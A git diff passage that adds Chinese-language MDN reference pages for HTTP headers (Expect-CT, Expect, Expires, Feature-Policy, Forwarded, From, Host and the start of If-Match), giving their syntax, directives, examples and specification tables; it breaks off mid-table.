+<p>{{Compat("http.headers.ETag")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("If-Match")}}</li> + <li>{{HTTPHeader("If-None-Match")}}</li> + <li>{{HTTPStatus("304")}}<code> Not Modified</code></li> + <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li> + <li> + <p><a href="https://www.w3.org/1999/04/Editing/">W3C Note: Editing the Web – Detecting the Lost Update Problem Using Unreserved Checkout</a></p> + </li> +</ul> diff --git a/files/zh-cn/web/http/headers/expect-ct/index.html b/files/zh-cn/web/http/headers/expect-ct/index.html new file mode 100644 index 0000000000..c92ca54e05 --- /dev/null +++ b/files/zh-cn/web/http/headers/expect-ct/index.html @@ -0,0 +1,82 @@ +--- +title: Expect-CT +slug: Web/HTTP/Headers/Expect-CT +tags: + - HTTP + - 响应头 + - 证书透明度 +translation_of: Web/HTTP/Headers/Expect-CT +--- +<p>{{HTTPSidebar}}</p> + +<p><code>Expect-CT</code> 头允许站点选择性报告和/或执行证书透明度 (Certificate Transparency) 要求,来防止错误签发的网站证书的使用不被察觉。当站点启用 <code>Expect-CT</code> 头,就是在请求浏览器检查该网站的任何证书是否出现在公共证书透明度日志之中。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre>Expect-CT: report-uri="<uri>"; + enforce; + max-age=<age></pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt>max-age</dt> + <dd> + <p>该指令指定接收到 <code>Expect-CT</code> 头后的秒数,在此期间用户代理应将收到消息的主机视为已知的 Expect-CT 主机。</p> + + <p>如果缓存接收到的值大于它可以表示的值,或者如果其随后计算溢出,则缓存将认为该值为2147483648(2的31次幂)或其可以方便表示的最大正整数。</p> + </dd> + <dt>report-uri="<uri>" {{optional_inline}}</dt> + <dd> + <p>该指令指定用户代理应向其报告 Expect-CT 失效的 URI。</p> + 当 <code>enforce</code> 指令和 <code>report-uri</code> 指令共同存在时,这种配置被称为“强制执行和报告”配置,示意用户代理既应该强制遵守证书透明度政策,也应当报告违规行为。 + + <p> </p> + </dd> + <dt>enforce {{optional_inline}}</dt> + <dd> + <p>该指令示意用户代理应强制遵守证书透明度政策(而不是只报告合规性),并且用户代理应拒绝违反证书透明度政策的之后连接。</p> + + <p>当 <code>enforce</code> 指令和 <code>report-uri</code> 指令共同存在时,这种配置被称为“强制执行和报告”配置,示意用户代理既应该强制遵守证书透明度政策,也应当报告违规行为。</p> + </dd> +</dl> + +<h2 id="示例">示例</h2> + +<p>以下示例指定24小时的证书透明度执行,并向 foo.example 报告违规行为.</p> + +<pre>Expect-CT: max-age=86400; enforce; report-uri="https://foo.example/report"</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">标题</th> + </tr> + <tr> + <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-expect-ct-01">Internet Draft</a></td> + <td>Expect-CT Extension for HTTP</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div class="hidden">此页面上的兼容性表格由结构化数据生成。如果您想贡献数据,请查看 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 并向我们发送一个拉取请求 (pull request).</div> + +<p>{{Compat("http.headers.Expect-CT")}}</p> diff --git a/files/zh-cn/web/http/headers/expect/index.html b/files/zh-cn/web/http/headers/expect/index.html new file mode 100644 index 0000000000..afc4da4bce --- /dev/null +++ b/files/zh-cn/web/http/headers/expect/index.html @@ -0,0 +1,87 @@ +--- +title: Expect +slug: Web/HTTP/Headers/Expect +translation_of: Web/HTTP/Headers/Expect +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Expect</code></strong> 是一个请求消息头,包含一个期望条件,表示服务器只有在满足此期望条件的情况下才能妥善地处理请求。</p> + +<p>规范中只规定了一个期望条件,即 <code>Expect: 100-continue</code>, 对此服务器可以做出如下回应:</p> + +<ul> + <li>{{HTTPStatus("100")}} 如果消息头中的期望条件可以得到满足,使得请求可以顺利进行的话,</li> + <li>{{HTTPStatus("417")}} (Expectation Failed) 如果服务器不能满足期望条件的话;也可以是其他任意表示客户端错误的状态码(4xx)。</li> +</ul> + +<p>例如,如果请求中 {{HTTPHeader("Content-Length")}} 的值太大的话,可能会遭到服务器的拒绝。</p> + +<p>常见的浏览器不会发送 <code>Expect</code> 消息头,但是其他类型的客户端如cURL默认会这么做。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<p>目前规范中只规定了 "100-continue" 这一个期望条件。</p> + +<pre class="syntaxbox">Expect: 100-continue +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt>100-continue</dt> + <dd>通知接收方客户端要发送一个体积可能很大的消息体,期望收到状态码为{{HTTPStatus("100")}} (Continue) 的临时回复。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<h3 id="大消息体">大消息体</h3> + +<p>客户端发送带有Expect消息头的请求,等服务器回复后再发送消息体。</p> + +<pre>PUT /somewhere/fun HTTP/1.1 +Host: origin.example.com +Content-Type: video/h264 +Content-Length: 1234567890987 +Expect: 100-continue +</pre> + +<p>服务器开始检查请求消息头,可能会返回一个状态码为 {{HTTPStatus("100")}} (Continue) 的回复来告知客户端继续发送消息体,也可能会返回一个状态码为{{HTTPStatus("417")}} (Expectation Failed) 的回复来告知对方要求不能得到满足。</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "Expect", "5.1.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容情况">浏览器兼容情况</h2> + +<p>目前没有已知的浏览器会使用这个消息头。</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPStatus("417")}}<code> Expectation Failed</code></li> + <li>{{HTTPStatus("100")}}<code> Continue</code></li> +</ul> diff --git a/files/zh-cn/web/http/headers/expires/index.html b/files/zh-cn/web/http/headers/expires/index.html new file mode 100644 index 0000000000..0f64838744 --- /dev/null +++ b/files/zh-cn/web/http/headers/expires/index.html @@ -0,0 +1,79 @@ +--- +title: Expires +slug: Web/HTTP/Headers/Expires +tags: + - 缓存,头部,HTTP,响应,response +translation_of: Web/HTTP/Headers/Expires +--- +<div>{{HTTPSidebar}}</div> + +<div><code><strong>Expires</strong></code> 响应头包含日期/时间, 即在此时候之后,响应过期。</div> + +<div> </div> + +<p>无效的日期,比如 0, 代表着过去的日期,即该资源已经过期。</p> + +<p>如果在{{HTTPHeader("Cache-Control")}}响应头设置了 "max-age" 或者 "s-max-age" 指令,那么 <code>Expires</code> 头会被忽略。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Expires: <http-date> +</pre> + +<h2 id="指南">指南</h2> + +<dl> + <dt><http-date></dt> + <dd> + <p>一个 HTTP-日期 时间戳</p> + </dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Expires: Wed, 21 Oct 2015 07:28:00 GMT</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7234", "Expires", "5.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">本页面的兼容表格是由结构化数据生成的。 如果您想帮助我们完善,可以checkout <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 然后给我们发送pull请求</p> + +<p>{{Compat("http.headers.Expires")}}</p> + +<h2 id="其他">其他</h2> + +<ul> + <li>{{HTTPHeader("Cache-Control")}}</li> + <li>{{HTTPHeader("Age")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/feature-policy/autoplay/index.html b/files/zh-cn/web/http/headers/feature-policy/autoplay/index.html new file mode 100644 index 0000000000..88dc07c786 --- /dev/null +++ b/files/zh-cn/web/http/headers/feature-policy/autoplay/index.html @@ -0,0 +1,52 @@ +--- +title: 'Feature-Policy: autoplay' +slug: Web/HTTP/Headers/Feature-Policy/autoplay +translation_of: Web/HTTP/Headers/Feature-Policy/autoplay +--- +<div>{{HTTPSidebar}} {{SeeCompatTable}}</div> + +<p><span class="seoSummary">The HTTP {{HTTPHeader("Feature-Policy")}} header <code>autoplay</code> directive controls whether the current document is allowed to autoplay media requested through the {{domxref("HTMLMediaElement")}} interface.</span> When this policy is enabled and there were no user gestures, the {{domxref("Promise")}} returned by {{domxref("HTMLMediaElement.play()")}} will reject with a <code>DOMException</code>. The {{htmlattrxref("autoplay", "audio")}} attribute on {{HTMLElement("audio")}} and {{HTMLElement("video")}} elements will be ignored.</p> + +<p>For more details on autoplay and autoplay blocking, see the article <a href="/en-US/docs/Web/Media/Autoplay_guide">Autoplay guide for media and Web Audio APIs</a>.</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Feature-Policy: autoplay <可选>;</pre> + +<dl> + <dt><allowlist></dt> + <dd>{{page("Web/HTTP/Feature_Policy/Using_Feature_Policy", "allowlist")}} 默认值是<code>'self'</code>.</dd> +</dl> + +<h2 id="参考说明">参考说明</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">参考说明</th> + <th scope="col">状态</th> + <th scope="col">注解</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Feature Policy')}}</td> + <td>{{Spec2('Feature Policy')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性支持">浏览器兼容性支持</h2> + + + +<p>{{Compat("http.headers.Feature-Policy.autoplay")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Feature-Policy")}} header</li> + <li><a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a></li> + <li><a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Using Feature Policy</a></li> +</ul> diff --git a/files/zh-cn/web/http/headers/feature-policy/camera/index.html b/files/zh-cn/web/http/headers/feature-policy/camera/index.html new file mode 100644 index 0000000000..b2c71e2f36 --- /dev/null +++ b/files/zh-cn/web/http/headers/feature-policy/camera/index.html @@ -0,0 +1,54 @@ +--- +title: 'Feature-Policy: camera' +slug: Web/HTTP/Headers/Feature-Policy/camera +translation_of: Web/HTTP/Headers/Feature-Policy/camera +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">HTTP{{HTTPHeader("Feature-Policy")}} 头当中的<code>camera</code></span>指令控制着当前的文档是否允许使用视频输入设备。当这些策略被开启时,由<span class="seoSummary">{{domxref("MediaDevices.getUserMedia()")}} 返回的{{jsxref("Promise")}}将会reject一个 {{domxref("NotAllowedError")}}错误。</span></p> + +<h2 id="语法结构">语法结构</h2> + +<pre class="syntaxbox">Feature-Policy: camera <allowlist>;</pre> + +<dl> + <dt><allowlist></dt> + <dd>{{page("Web/HTTP/Feature_Policy/Using_Feature_Policy", "allowlist")}}</dd> +</dl> + +<h2 id="默认策略">默认策略</h2> + +<p>默认值为 <code>'self'。</code></p> + +<h2 id="定义">定义</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Feature Policy')}}</td> + <td>{{Spec2('Feature Policy')}}</td> + <td>最初的定义。</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat('http.headers.Feature-Policy.camera')}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Feature-Policy")}} header</li> + <li><a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a></li> + <li><a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Using Feature Policy</a></li> +</ul> diff --git a/files/zh-cn/web/http/headers/feature-policy/index.html b/files/zh-cn/web/http/headers/feature-policy/index.html new file mode 100644 index 0000000000..ee0321900a --- /dev/null +++ b/files/zh-cn/web/http/headers/feature-policy/index.html @@ -0,0 +1,123 @@ +--- +title: Feature-Policy +slug: Web/HTTP/Headers/Feature-Policy +translation_of: Web/HTTP/Headers/Feature-Policy +--- +<div>{{HTTPSidebar}} {{SeeCompatTable}}</div> + +<div> </div> + +<div><strong><code>Feature-Policy</code></strong>响应头提供了一种可以在本页面或包含的iframe上启用或禁止浏览器特性的机制。</div> + +<p>更多的信息,请查看<a href="/docs/Web/HTTP/Feature_Policy">Feature Policy</a></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Feature-Policy: <directive> <allowlist></pre> + +<p><strong><allowlist></strong></p> + +<ul> + <li><code>*</code>: 允许在当前文档和所有包含的内容(比如iframes)中使用本特性。</li> + <li><code>'self'</code>: 允许在当前文档中使用本特性,但在包含的内容(比如iframes)仍使用原值。</li> + <li><code>'src'</code>: (只在iframe中允许) 只要在{{HTMLElement('iframe','src','#Attributes')}} 中的URL和加载iframe用的URL相同,则本特性在iframe中允许,</li> + <li><code>'none'</code>: 从最上层到包含的内容都禁止本特性。 <origin(s)>: 在特定的源中允许,源URL以空格分割。</li> +</ul> + +<ul> + <li><code>*</code>: 本特性默认在最上层和包含的内容中(iframes)允许。</li> + <li><code>'self'</code>: 本特性默认在最上层允许,而包含的内容中(iframes)使用源地址相同设定。也就是说本特性在iframe中不允许跨域访问。</li> + <li><code>'none'</code>: 本特性默认在最上层和包含的内容中(iframes)都禁止。</li> +</ul> + +<p><code>*</code>(在所有源地址启用)<code><font face="Arial, x-locale-body, sans-serif">或</font>'none'</code>(在所有源地址禁用)只允许单独使用,而<code>'self'</code>和<code>'src'</code>可以与多个源地址一起使用。</p> + +<p>所有的特性都有一个如下的默认的allowlist</p> + +<ul> + <li><code>*</code>: 本特性默认在最上层和包含的内容中(iframes)允许。</li> + <li><code>'self'</code>: 本特性默认在最上层允许,而包含的内容中(iframes)使用源地址相同设定。也就是说本特性在iframe中不允许跨域访问。</li> + <li><code>'none'</code>: 本特性默认在最上层和包含的内容中(iframes)都禁止。</li> +</ul> + +<h2 id="指令">指令</h2> + +<dl> + <dt>{{httpheader('Feature-Policy/autoplay','autoplay')}}</dt> + <dd>控制是否允许当前文档自动播放媒体。这种控制是通过接口 {{domxref("HTMLMediaElement")}} 来实现。当这种规则被启用,而且没有用户操作的时候,{{domxref("HTMLMediaElement.play()")}}返回的 {{domxref("Promise")}}会拒绝并抛出一个<code>DOMException</code>异常。在{{HTMLELement("audio")}}和{{HTMLELement("video")}}上的autoplay属性会被忽略。</dd> + <dt>{{httpheader('Feature-Policy/camera', 'camera')}}</dt> + <dd>控制是否允许当前文档使用视频输入设备。当这种规则被启用时,{{domxref("MediaDevices.getUserMedia()")}}返回的the {{jsxref("Promise")}}会拒绝并抛出错误<code>NotAllowedError。</code></dd> + <dt>{{httpheader('Feature-Policy/document-domain','document-domain')}}</dt> + <dd>控制是否允许当前文档设置{{domxref("document.domain")}}。当这种规则被启用时,尝试设置{{domxref("document.domain")}}会失败并抛出<code>SecurityError </code>{{domxref("DOMException")}}异常。</dd> + <dt>{{httpheader('Feature-Policy/encrypted-media', 'encrypted-media')}}</dt> + <dd>控制是否允许当前文档使用<a href="/en-US/docs/Web/API/Encrypted_Media_Extensions_API">Encrypted Media Extensions</a> API (EME)。当这种规则被启用时,{{domxref("Navigator.requestMediaKeySystemAccess()")}}返回的{{domxref("Promise")}}会拒绝并抛出<code>DOMException</code>异常。</dd> + <dt>{{httpheader('Feature-Policy/fullscreen','fullscreen')}}</dt> + <dd>控制是否允许当前文档使用{{domxref('Element.requestFullScreen()')}}。当这种规则被启用时,返回的{{jsxref('Promise')}}会拒绝并抛出{{jsxref('TypeError')}}。</dd> + <dt>{{httpheader('Feature-Policy/geolocation','geolocation')}}</dt> + <dd>控制是否允许当前文档使用{{domxref('Geolocation')}}接口。当这种规则被启用时,调用{{domxref('Geolocation.getCurrentPosition','getCurrentPosition()')}}和{{domxref('Geolocation.watchPosition','watchPosition()')}}会返回包含<code>PERMISSION_DENIED</code>的 {{domxref('PositionError')}}。</dd> + <dt>{{httpheader('Feature-Policy/microphone','microphone')}}</dt> + <dd>控制是否允许当前文档使用音频输入设备。当这种规则被启用时,{{domxref("MediaDevices.getUserMedia()")}}返回的the {{jsxref("Promise")}}会拒绝并抛出错误<code>NotAllowedError。</code></dd> + <dt>{{httpheader('Feature-Policy/midi', 'midi')}}</dt> + <dd>控制是否允许当前文档使用<a href="/en-US/docs/Web/API/Web_MIDI_API">Web MIDI API</a>。当这种规则被启用时,{{domxref("Navigator.requestMIDIAccess()")}} 返回的the {{jsxref("Promise")}}会拒绝并抛出错误<code>DOMException。</code></dd> + <dt>{{httpheader('Feature-Policy/payment', 'payment')}}</dt> + <dd>控制是否允许当前文档使用<a href="/en-US/docs/Web/API/Payment_Request_API">Payment Request API</a>。当这种规则被启用时,构造器{{domxref("PaymentRequest()")}} 会抛出错误<code>SecurityError。</code></dd> + <dt>{{httpheader('Feature-Policy/vr', 'vr')}} / <code>xr</code></dt> + <dd>控制是否允许当前文档使用<a href="/en-US/docs/Web/API/WebVR_API">WebVR API</a>。当这种规则被启用时,{{domxref("Navigator.getVRDisplays()")}} 返回的the {{jsxref("Promise")}}会拒绝并抛出错误<code>DOMException。</code></dd> +</dl> + +<h2 id="示例">示例</h2> + +<p>SecureCorp Inc. 公司想要在应用中禁用震动和定位API,则可以在返回的response中传递以下定义feature policy的HTTP的头部信息:</p> + +<pre>Feature-Policy: vibrate 'none'; geolocation 'none' +</pre> + +<p>通过使用<code>'none'</code>关键词,不管原来如何设定,这些特性在所有浏览的上下文中都会被禁用。</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Feature Policy','#feature-policy-http-header-field','Feature-Policy')}}</td> + <td>{{Spec2('Feature Policy')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容">浏览器兼容</h2> + + + +<p>{{Compat("http.headers.Feature-Policy")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a></li> + <li><a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Using Feature Policy</a></li> + <li><a class="external external-icon" href="https://chrome.google.com/webstore/detail/feature-policy-tester-dev/pchamnkhkeokbpahnocjaeednpbpacop" rel="noopener">Feature-Policy Tester (Chrome Developer Tools extension)</a></li> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTTPHeader("Referrer-Policy")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/forwarded/index.html b/files/zh-cn/web/http/headers/forwarded/index.html new file mode 100644 index 0000000000..4c5101ad8f --- /dev/null +++ b/files/zh-cn/web/http/headers/forwarded/index.html @@ -0,0 +1,110 @@ +--- +title: Forwarded +slug: Web/HTTP/Headers/Forwarded +tags: + - HTTP + - HTTP头部 + - 参考 + - 头部 + - 请求头部 +translation_of: Web/HTTP/Headers/Forwarded +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Forwarded</code></strong> 首部中包含了代理服务器的客户端的信息,即由于代理服务器在请求路径中的介入而被修改或丢失的信息。</p> + +<p>其他可用来替换的,已经成为既成标准的首部是 {{HTTPHeader("X-Forwarded-For")}} 、 {{HTTPHeader("X-Forwarded-Host")}} 以及{{HTTPHeader("X-Forwarded-Proto")}} 。</p> + +<p>这个消息首部会被用来进行调试和统计,以及生成基于位置的定制化内容,按照设计的目的,它会暴露一定的隐私和敏感信息,比如客户端的IP地址。所以在应用此消息首部的时候,需要将用户的隐私问题考虑在内。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Forwarded: by=<identifier>; for=<identifier>; host=<host>; proto=<http|https> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><identifier></dt> + <dd>一个 identifier 显示了在使用代理的过程中被修改或者丢失的信息。它们可以是以下几种形式: + <ul> + <li>一个IP地址(V4 或 V6,端口号可选,ipv6 地址需要包含在方括号里面,同时用引号括起来),</li> + <li>语意不明的标识符(比如 "_hidden" 或者 "_secret"),</li> + <li>或者是 "unknown",当当前信息实体不可知的时候(但是你依然想要说明请求被进行了转发)。</li> + </ul> + </dd> + <dt>by=<identifier></dt> + <dd>该请求进入到代理服务器的接口。</dd> + <dt>for=<identifier></dt> + <dd>发起请求的客户端以及代理链中的一系列的代理服务器。</dd> + <dt>host=<host></dt> + <dd>代理接收到的 {{HTTPHeader("Host")}} 首部的信息。</dd> + <dt>proto=<http|https></dt> + <dd> + <p>表示发起请求时采用的何种协议(通常是 "http" 或者 "https")。</p> + </dd> +</dl> + +<h2 id="示例">示例</h2> + +<h3 id="使用_Forwarded">使用 <code>Forwarded</code> </h3> + +<pre>Forwarded: for="_mdn" + +# 大小写不敏感 +Forwarded: For="[2001:db8:cafe::17]:4711" + +# for proto by 之间可用分号分隔 +Forwarded: for=192.0.2.60; proto=http; by=203.0.113.43 + +# 多值可用逗号分隔 +Forwarded: for=192.0.2.43, for=198.51.100.17 +</pre> + +<h3 id="从_X-Forwarded-For_到_Forwarded_的迁移">从 X-Forwarded-For 到 Forwarded 的迁移</h3> + +<p>如果应用、服务器或是代理支持标准格式的 Forwarded 的首部的话,那么 {{HTTPHeader("X-Forwarded-For")}} 可以被替换。需要注意的是,在 Forwarded 中 ipv6 地址需要包含在方括号里面,同时用引号括起来。</p> + +<pre>X-Forwarded-For: 123.34.567.89 +Forwarded: for=123.34.567.89 + +X-Forwarded-For: 192.0.2.43, 2001:db8:cafe::17 +Forwarded: for=192.0.2.43, for="[2001:db8:cafe::17]" +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7239", "Forwarded", "4")}}</td> + <td>Forwarded HTTP Extension</td> + </tr> + </tbody> +</table> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("X-Forwarded-For")}}</li> + <li>{{HTTPHeader("X-Forwarded-Host")}}</li> + <li>{{HTTPHeader("X-Forwarded-Proto")}}</li> + <li>{{HTTPHeader("Via")}} – 提供代理自身的信息,而非与其相连的客户端信息。</li> +</ul> diff --git a/files/zh-cn/web/http/headers/from/index.html b/files/zh-cn/web/http/headers/from/index.html new file mode 100644 index 0000000000..ee077d7e1e --- /dev/null +++ b/files/zh-cn/web/http/headers/from/index.html @@ -0,0 +1,73 @@ +--- +title: From +slug: Web/HTTP/Headers/From +tags: + - 超文本传输协议 + - 首部 +translation_of: Web/HTTP/Headers/From +--- +<div>{{HTTPSidebar}}</div> + +<p>请求首部 <code><strong>From</strong></code> 中包含一个电子邮箱地址,这个电子邮箱地址属于发送请求的用户代理的实际掌控者的人类用户。</p> + +<p>如果你在运行一个机器人代理程序(比如爬虫),那么 Form 首部应该随请求一起发送,这样的话,在服务器遇到问题的时候,例如机器人代理发送了过量的、不希望收到的或者不合法的请求,站点管理员可以联系到你。</p> + +<div class="warning"> +<p>不可以将 From 首部用于访问控制或者身份验证。</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">From: <email> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><email></dt> + <dd>一个机器可识别的电子邮箱地址。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>From: webmaster@example.org</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "From", "5.5.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.From")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Host")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/host/index.html b/files/zh-cn/web/http/headers/host/index.html new file mode 100644 index 0000000000..a7264922d4 --- /dev/null +++ b/files/zh-cn/web/http/headers/host/index.html @@ -0,0 +1,71 @@ +--- +title: Host +slug: Web/HTTP/Headers/Host +tags: + - header http 参考 host +translation_of: Web/HTTP/Headers/Host +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>Host </strong>请求头指明了请求将要发送到的服务器主机名和端口号。</p> + +<p>如果没有包含端口号,会自动使用被请求服务的默认端口(比如HTTPS URL使用443端口,HTTP URL使用80端口)。</p> + +<p>所有HTTP/1.1 请求报文中必须包含一个<code>Host</code>头字段。对于缺少<code>Host</code>头或者含有超过一个<code>Host</code>头的HTTP/1.1 请求,可能会收到{{HTTPStatus("400")}}(Bad Request)状态码。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">Host: <host>:<port> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><host></dt> + <dd>服务器的域名(用于虚拟主机)。</dd> + <dt><port> {{optional_inline}}</dt> + <dd>服务器监听的 TCP 端口号。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre class="notranslate">Host: developer.cdn.mozilla.net</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">标题</th> + </tr> + <tr> + <td>{{RFC("7230", "Host", "5.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{Compat("http.headers.Host")}}</p> + +<h2 id="参考">参考</h2> + +<ul> + <li>{{HTTPStatus("400")}}</li> + <li>{{HTMLElement("base")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/if-match/index.html b/files/zh-cn/web/http/headers/if-match/index.html new file mode 100644 index 0000000000..9443a30e14 --- /dev/null +++ b/files/zh-cn/web/http/headers/if-match/index.html @@ -0,0 +1,89 @@ +--- +title: If-Match +slug: Web/HTTP/Headers/If-Match +tags: + - 条件请求 + - 首部 +translation_of: Web/HTTP/Headers/If-Match +--- +<div>{{HTTPSidebar}}</div> + +<p>请求首部 <strong><code>If-Match</code></strong> 的使用表示这是一个条件请求。在请求方法为 {{HTTPMethod("GET")}} 和 {{HTTPMethod("HEAD")}} 的情况下,服务器仅在请求的资源满足此首部列出的 <code>ETag</code>值时才会返回资源。而对于 {{HTTPMethod("PUT")}} 或其他非安全方法来说,只有在满足条件的情况下才可以将资源上传。</p> + +<p>{{HTTPHeader("ETag")}} 之间的比较使用的是<strong>强比较算法</strong>,即只有在每一个字节都相同的情况下,才可以认为两个文件是相同的。在 ETag 前面添加 <code>W/</code> 前缀表示可以采用相对宽松的算法。</p> + +<p>以下是两个常见的应用场景:</p> + +<ul> + <li>对于 {{HTTPMethod("GET")}} 和 {{HTTPMethod("HEAD")}} 方法,搭配 {{HTTPHeader("Range")}}首部使用,可以用来保证新请求的范围与之前请求的范围是对同一份资源的请求。如果 ETag 无法匹配,那么需要返回 {{HTTPStatus("416")}}<code> </code>(Range Not Satisfiable,范围请求无法满足) 响应。</li> + <li>对于其他方法来说,尤其是 {{HTTPMethod("PUT")}}, <code>If-Match</code> 首部可以用来避免<a href="https://www.w3.org/1999/04/Editing/#3.1">更新丢失问题</a>。它可以用来检测用户想要上传的不会覆盖获取原始资源之后做出的更新。如果请求的条件不满足,那么需要返回 {{HTTPStatus("412")}} (Precondition Failed,先决条件失败) 响应。</li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + 